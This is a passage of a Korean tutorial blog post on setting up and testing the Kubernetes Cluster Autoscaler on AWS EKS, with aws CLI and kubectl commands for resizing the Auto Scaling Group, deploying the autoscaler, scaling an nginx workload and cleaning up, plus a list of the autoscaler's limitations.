&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;2654&quot; data-origin-height=&quot;962&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ponec/btsGmzzRnbV/nt16RrBFDoU5w3piWfLow0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ponec/btsGmzzRnbV/nt16RrBFDoU5w3piWfLow0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ponec/btsGmzzRnbV/nt16RrBFDoU5w3piWfLow0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fponec%2FbtsGmzzRnbV%2Fnt16RrBFDoU5w3piWfLow0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2654&quot; height=&quot;962&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;2654&quot; data-origin-height=&quot;962&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;CA - Cluster Autoscaler&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;992&quot; data-origin-height=&quot;481&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/37nga/btsGgAHOisc/fq7sfF07J5uIVqS6Xv4Kik/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/37nga/btsGgAHOisc/fq7sfF07J5uIVqS6Xv4Kik/img.png&quot; data-alt=&quot;출처 :https://catalog.us-east-1.prod.workshops.aws/workshops/9c0aa9ab-90a9-44a6-abe1-8dff360ae428/ko-KR/100-scaling/200-cluster-scaling&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/37nga/btsGgAHOisc/fq7sfF07J5uIVqS6Xv4Kik/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F37nga%2FbtsGgAHOisc%2Ffq7sfF07J5uIVqS6Xv4Kik%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;992&quot; height=&quot;481&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;992&quot; data-origin-height=&quot;481&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;출처 :https://catalog.us-east-1.prod.workshops.aws/workshops/9c0aa9ab-90a9-44a6-abe1-8dff360ae428/ko-KR/100-scaling/200-cluster-scaling&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Cluster Autoscale 동작을 하기 위한 &lt;b&gt;cluster-autoscaler 파드&lt;/b&gt;(디플로이먼트)를 배치합니다.&lt;/li&gt;
&lt;li&gt;Cluster Autoscaler(CA)는 &lt;b&gt;pending&lt;/b&gt; 상태인 &lt;b&gt;파드&lt;/b&gt;가 존재할 경우, &lt;b&gt;워커 노드&lt;/b&gt;를 &lt;b&gt;스케일 아웃&lt;/b&gt;합니다.&lt;/li&gt;
&lt;li&gt;특정 시간을 간격으로 사용률을 확인하여 스케일 인/아웃을 수행합니다. 그리고 AWS에서는 &lt;b&gt;Auto Scaling Group&lt;/b&gt;(&lt;b&gt;ASG&lt;/b&gt;)을 사용하여 Cluster Autoscaler를 적용합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span data-token-index=&quot;0&quot;&gt;Cluster Autoscaler(CA) 설정&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;EKS에서 CA를 사용하기 위해서는 노드에 &lt;b&gt;k8s.io/cluster-autoscaler/enabled : true&lt;/b&gt;와&amp;nbsp;&lt;b&gt;k8s.io/cluster-autoscaler/myeks : owned &lt;/b&gt;태그가 포함되어 있어야 합니다. 실습에서는 원클릭 배포를 통해 이미 태그가 포함된 상태입니다.&lt;/p&gt;
&lt;pre id=&quot;code_1712043523178&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# EKS 노드에 이미 아래 tag가 들어가 있음
# k8s.io/cluster-autoscaler/enabled : true
# k8s.io/cluster-autoscaler/myeks : owned
aws ec2 describe-instances  --filters Name=tag:Name,Values=$CLUSTER_NAME-ng1-Node --query &quot;Reservations[*].Instances[*].Tags[*]&quot; --output yaml | yh&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2023-05-17 오전 11.02.25.png&quot; data-origin-width=&quot;549&quot; data-origin-height=&quot;315&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Af44s/btsGjDwd8es/ebDnPlRSESPicWZ3dbSMZk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Af44s/btsGjDwd8es/ebDnPlRSESPicWZ3dbSMZk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Af44s/btsGjDwd8es/ebDnPlRSESPicWZ3dbSMZk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAf44s%2FbtsGjDwd8es%2FebDnPlRSESPicWZ3dbSMZk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;549&quot; height=&quot;315&quot; data-filename=&quot;스크린샷 2023-05-17 오전 11.02.25.png&quot; data-origin-width=&quot;549&quot; data-origin-height=&quot;315&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 AWS에 구성되어 있는 ASG(AutoScalingGroup) 정보를 확인합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1712043755503&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 현재 autoscaling(ASG) 정보 확인
# aws autoscaling describe-auto-scaling-groups --query &quot;AutoScalingGroups[? Tags[? (Key=='eks:cluster-name') &amp;amp;&amp;amp; Value=='클러스터이름']].[AutoScalingGroupName, MinSize, MaxSize,DesiredCapacity]&quot; --output table
aws autoscaling describe-auto-scaling-groups \
    --query &quot;AutoScalingGroups[? Tags[? (Key=='eks:cluster-name') &amp;amp;&amp;amp; Value=='myeks']].[AutoScalingGroupName, MinSize, MaxSize,DesiredCapacity]&quot; \
    --output table&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-02 오후 4.42.52.png&quot; data-origin-width=&quot;1196&quot; data-origin-height=&quot;162&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bWhYbG/btsGjRnqTGw/N9EwmrYxexkyfFTiOzMfxk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bWhYbG/btsGjRnqTGw/N9EwmrYxexkyfFTiOzMfxk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bWhYbG/btsGjRnqTGw/N9EwmrYxexkyfFTiOzMfxk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbWhYbG%2FbtsGjRnqTGw%2FN9EwmrYxexkyfFTiOzMfxk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1196&quot; height=&quot;162&quot; data-filename=&quot;스크린샷 2024-04-02 오후 4.42.52.png&quot; data-origin-width=&quot;1196&quot; data-origin-height=&quot;162&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-02 오후 4.49.43.png&quot; data-origin-width=&quot;1907&quot; data-origin-height=&quot;272&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1w4jR/btsGjCRB1Uj/oCr9HwfkvNPVMTsqG19ILk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1w4jR/btsGjCRB1Uj/oCr9HwfkvNPVMTsqG19ILk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1w4jR/btsGjCRB1Uj/oCr9HwfkvNPVMTsqG19ILk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1w4jR%2FbtsGjCRB1Uj%2FoCr9HwfkvNPVMTsqG19ILk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1907&quot; height=&quot;272&quot; data-filename=&quot;스크린샷 2024-04-02 오후 4.49.43.png&quot; data-origin-width=&quot;1907&quot; data-origin-height=&quot;272&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Max 사이즈를 6으로 변경합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1712043943057&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# MaxSize 6개로 수정
export ASG_NAME=$(aws autoscaling describe-auto-scaling-groups --query &quot;AutoScalingGroups[? Tags[? (Key=='eks:cluster-name') &amp;amp;&amp;amp; Value=='myeks']].AutoScalingGroupName&quot; --output text)
aws autoscaling update-auto-scaling-group --auto-scaling-group-name ${ASG_NAME} --min-size 3 --desired-capacity 3 --max-size 6

# 확인
aws autoscaling describe-auto-scaling-groups --query &quot;AutoScalingGroups[? Tags[? (Key=='eks:cluster-name') &amp;amp;&amp;amp; Value=='myeks']].[AutoScalingGroupName, MinSize, MaxSize,DesiredCapacity]&quot; --output table&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-02 오후 4.45.17.png&quot; data-origin-width=&quot;1520&quot; data-origin-height=&quot;158&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/T1kN0/btsGh6spAOJ/JHuAxGRFkklEtL4SbmoQgk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/T1kN0/btsGh6spAOJ/JHuAxGRFkklEtL4SbmoQgk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/T1kN0/btsGh6spAOJ/JHuAxGRFkklEtL4SbmoQgk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FT1kN0%2FbtsGh6spAOJ%2FJHuAxGRFkklEtL4SbmoQgk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1520&quot; height=&quot;158&quot; data-filename=&quot;스크린샷 2024-04-02 오후 4.45.17.png&quot; data-origin-width=&quot;1520&quot; data-origin-height=&quot;158&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-02 오후 4.50.06.png&quot; data-origin-width=&quot;1900&quot; data-origin-height=&quot;275&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cbOoWX/btsGhXJbmj0/xBMk0eBmDkwI4aot4pyoxk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cbOoWX/btsGhXJbmj0/xBMk0eBmDkwI4aot4pyoxk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cbOoWX/btsGhXJbmj0/xBMk0eBmDkwI4aot4pyoxk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcbOoWX%2FbtsGhXJbmj0%2FxBMk0eBmDkwI4aot4pyoxk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1900&quot; height=&quot;275&quot; data-filename=&quot;스크린샷 2024-04-02 오후 4.50.06.png&quot; data-origin-width=&quot;1900&quot; data-origin-height=&quot;275&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CA를 배포하고 해당 파드가 존재하는 워커 노드가 퇴출(evict)되지 않도록 annotate해 줍니다.&lt;/p&gt;
&lt;pre id=&quot;code_1712044063984&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 배포 : Deploy the Cluster Autoscaler (CA)
curl -s -O https://raw.githubusercontent.com/kubernetes/autoscaler/master/cluster-autoscaler/cloudprovider/aws/examples/cluster-autoscaler-autodiscover.yaml
sed -i &quot;s/&amp;lt;YOUR CLUSTER NAME&amp;gt;/$CLUSTER_NAME/g&quot; cluster-autoscaler-autodiscover.yaml
kubectl apply -f cluster-autoscaler-autodiscover.yaml

# 확인
kubectl get pod -n kube-system | grep cluster-autoscaler
kubectl describe deployments.apps -n kube-system cluster-autoscaler
kubectl describe deployments.apps -n kube-system cluster-autoscaler | grep node-group-auto-discovery
      --node-group-auto-discovery=asg:tag=k8s.io/cluster-autoscaler/enabled,k8s.io/cluster-autoscaler/myeks

# (옵션) cluster-autoscaler 파드가 동작하는 워커 노드가 퇴출(evict) 되지 않게 설정
kubectl -n kube-system annotate deployment.apps/cluster-autoscaler cluster-autoscaler.kubernetes.io/safe-to-evict=&quot;false&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-02 오후 4.48.14.png&quot; data-origin-width=&quot;1049&quot; data-origin-height=&quot;41&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbNIwA/btsGjX8PnGC/FwIAWnvKT7EwxC2OGZePZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbNIwA/btsGjX8PnGC/FwIAWnvKT7EwxC2OGZePZ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbNIwA/btsGjX8PnGC/FwIAWnvKT7EwxC2OGZePZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbNIwA%2FbtsGjX8PnGC%2FFwIAWnvKT7EwxC2OGZePZ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1049&quot; height=&quot;41&quot; data-filename=&quot;스크린샷 2024-04-02 오후 4.48.14.png&quot; data-origin-width=&quot;1049&quot; data-origin-height=&quot;41&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span data-token-index=&quot;0&quot;&gt;SCALE A CLUSTER WITH Cluster Autoscaler(CA)&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span data-token-index=&quot;0&quot;&gt;노드의 개수를 모니터링할 수 있는 watch 명령어를 걸어놓고 샘플 파드를 배포합니다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1712044633924&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 모니터링 
kubectl get nodes -w
while true; do kubectl get node; echo &quot;------------------------------&quot; ; date ; sleep 1; done
while true; do aws ec2 describe-instances --query &quot;Reservations[*].Instances[*].{PrivateIPAdd:PrivateIpAddress,InstanceName:Tags[?Key=='Name']|[0].Value,Status:State.Name}&quot; --filters Name=instance-state-name,Values=running --output text ; echo &quot;------------------------------&quot;; date; sleep 1; done

# Deploy a Sample App
# We will deploy an sample nginx application as a ReplicaSet of 1 Pod
cat &amp;lt;&amp;lt;EoF&amp;gt; nginx.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-to-scaleout
spec:
  replicas: 1
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        service: nginx
        app: nginx
    spec:
      containers:
      - image: nginx
        name: nginx-to-scaleout
        resources:
          limits:
            cpu: 500m
            memory: 512Mi
          requests:
            cpu: 500m
            memory: 512Mi
EoF

kubectl apply -f nginx.yaml&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 파드의 레플리카 수를 변경합니다. 늘어난 파드는 Pending 되어 있다가 CA에 의해 노드의 개수가 Max인 6개까지 늘어난 다음 배치되는 모습을 확인할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1712044652116&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# Scale our ReplicaSet
# Let&amp;rsquo;s scale out the replicaset to 15
kubectl scale --replicas=15 deployment/nginx-to-scaleout &amp;amp;&amp;amp; date

# 확인
kubectl get pods -l app=nginx -o wide --watch
kubectl -n kube-system logs -f deployment/cluster-autoscaler

# 노드 자동 증가 확인
kubectl get nodes
aws autoscaling describe-auto-scaling-groups \
    --query &quot;AutoScalingGroups[? Tags[? (Key=='eks:cluster-name') &amp;amp;&amp;amp; Value=='myeks']].[AutoScalingGroupName, MinSize, MaxSize,DesiredCapacity]&quot; \
    --output table
    
./eks-node-viewer --resources cpu,memory
혹은
./eks-node-viewer&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-02 오후 5.00.46.png&quot; data-origin-width=&quot;1610&quot; data-origin-height=&quot;162&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UJBHu/btsGjRgHRto/UNIjOv68y9gD2sYGGgeZH0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UJBHu/btsGjRgHRto/UNIjOv68y9gD2sYGGgeZH0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UJBHu/btsGjRgHRto/UNIjOv68y9gD2sYGGgeZH0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUJBHu%2FbtsGjRgHRto%2FUNIjOv68y9gD2sYGGgeZH0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1610&quot; height=&quot;162&quot; data-filename=&quot;스크린샷 2024-04-02 오후 5.00.46.png&quot; data-origin-width=&quot;1610&quot; data-origin-height=&quot;162&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-02 오후 5.01.58.png&quot; data-origin-width=&quot;1202&quot; data-origin-height=&quot;158&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cTjfAl/btsGh33wuOZ/iDjsJjEDiqECrmgIHVZFoK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cTjfAl/btsGh33wuOZ/iDjsJjEDiqECrmgIHVZFoK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cTjfAl/btsGh33wuOZ/iDjsJjEDiqECrmgIHVZFoK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcTjfAl%2FbtsGh33wuOZ%2FiDjsJjEDiqECrmgIHVZFoK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1202&quot; height=&quot;158&quot; data-filename=&quot;스크린샷 2024-04-02 오후 5.01.58.png&quot; data-origin-width=&quot;1202&quot; data-origin-height=&quot;158&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 파드를 삭제한 후에 노드 개수가 축소되는 모습을 확인합니다.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1712044985351&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 디플로이먼트 삭제
kubectl delete -f nginx.yaml &amp;amp;&amp;amp; date

# 노드 개수 축소 : 기본은 10분 후 scale down 됨, 물론 아래 flag 로 시간 수정 가능 &amp;gt;&amp;gt; 그러니 디플로이먼트 삭제 후 10분 기다리고 나서 보자!
# By default, cluster autoscaler will wait 10 minutes between scale down operations, 
# you can adjust this using the --scale-down-delay-after-add, --scale-down-delay-after-delete, 
# and --scale-down-delay-after-failure flag. 
# E.g. --scale-down-delay-after-add=5m to decrease the scale down delay to 5 minutes after a node has been added.

# 터미널1
watch -d kubectl get node&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-02 오후 5.21.24.png&quot; data-origin-width=&quot;781&quot; data-origin-height=&quot;101&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/czesQc/btsGiBMsnFg/54wEjvRjkVMfpbJMCBn0p0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/czesQc/btsGiBMsnFg/54wEjvRjkVMfpbJMCBn0p0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/czesQc/btsGiBMsnFg/54wEjvRjkVMfpbJMCBn0p0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FczesQc%2FbtsGiBMsnFg%2F54wEjvRjkVMfpbJMCBn0p0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;781&quot; height=&quot;101&quot; data-filename=&quot;스크린샷 2024-04-02 오후 5.21.24.png&quot; data-origin-width=&quot;781&quot; data-origin-height=&quot;101&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용했던 리소스를 모두 삭제하고 오토스케일링그룹의 설정도 원복합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1712045074883&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;위 실습 중 디플로이먼트 삭제 후 10분 후 노드 갯수 축소되는 것을 확인 후 아래 삭제를 해보자! &amp;gt;&amp;gt; 만약 바로 아래 CA 삭제 시 워커 노드는 4개 상태가 되어서 수동으로 2대 변경 하자!
kubectl delete -f nginx.yaml

# size 수정 
aws autoscaling update-auto-scaling-group --auto-scaling-group-name ${ASG_NAME} --min-size 3 --desired-capacity 3 --max-size 3
aws autoscaling describe-auto-scaling-groups --query &quot;AutoScalingGroups[? Tags[? (Key=='eks:cluster-name') &amp;amp;&amp;amp; Value=='myeks']].[AutoScalingGroupName, MinSize, MaxSize,DesiredCapacity]&quot; --output table

# Cluster Autoscaler 삭제
kubectl delete -f cluster-autoscaler-autodiscover.yaml&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;CA 문제점&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;하나의 자원에 대해 두군데 (AWS &lt;b&gt;ASG&lt;/b&gt; vs AWS &lt;b&gt;EKS&lt;/b&gt;)에서 각자의 방식으로 관리하며 때문에&amp;nbsp;&lt;b&gt;관리 정보가 서로 동기화되지 않아&lt;/b&gt; 다양한 문제가 발생하게 됩니다.
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;ASG에만 의존하고 노드 생성/삭제 등에 직접 관여하지 않습니다.&lt;/li&gt;
&lt;li&gt;EKS에서 노드를 삭제해도 인스턴스는 삭제가 되지 않습니.&lt;/li&gt;
&lt;li&gt;노드가 축소될 때 특정 노드만 축소되도록 설정하기 매우 어렵습니다.
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;pod이 적은 노드 먼저 축소, 이미 드레인된 노드 먼저 축소&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;특정 노드를 삭제하면서 동시에 노드 개수를 줄이기 어렵습니다.
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;줄일 때 삭제 정책 옵션이 다양하지 않습니다.&lt;/li&gt;
&lt;li&gt;정책 미지원 시 삭제 방식(예시) : 100대 중 미삭제 EC2 보호 설정 후 삭제 될 EC2의 파드를 이주 후 scaling 조절로 삭제 후 원복&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;폴링 방식이기에 너무 자주 확장 여유를 확인하면 API 제한에 도달할 수 있습니다.&lt;/li&gt;
&lt;li&gt;스케일링 속도가 매우 느립니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;CA는 쿠버네티스 클러스터 자체의 오토 스케일링을 의미하며 수요에 따라 워커 노드를 자동으로 추가하는 기능입니다.&lt;/li&gt;
&lt;li&gt;클러스터 전체나 각 노드의 부하 평균이 높아졌을 때 확장하는 것으로 보이지만 이는 함정입니다.&lt;/li&gt;
&lt;li&gt;Pending 상태의 파드가 생기는 타이밍에 처음으로 &lt;b&gt;Cluster Autoscaler가 동작&lt;/b&gt;합니다.
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
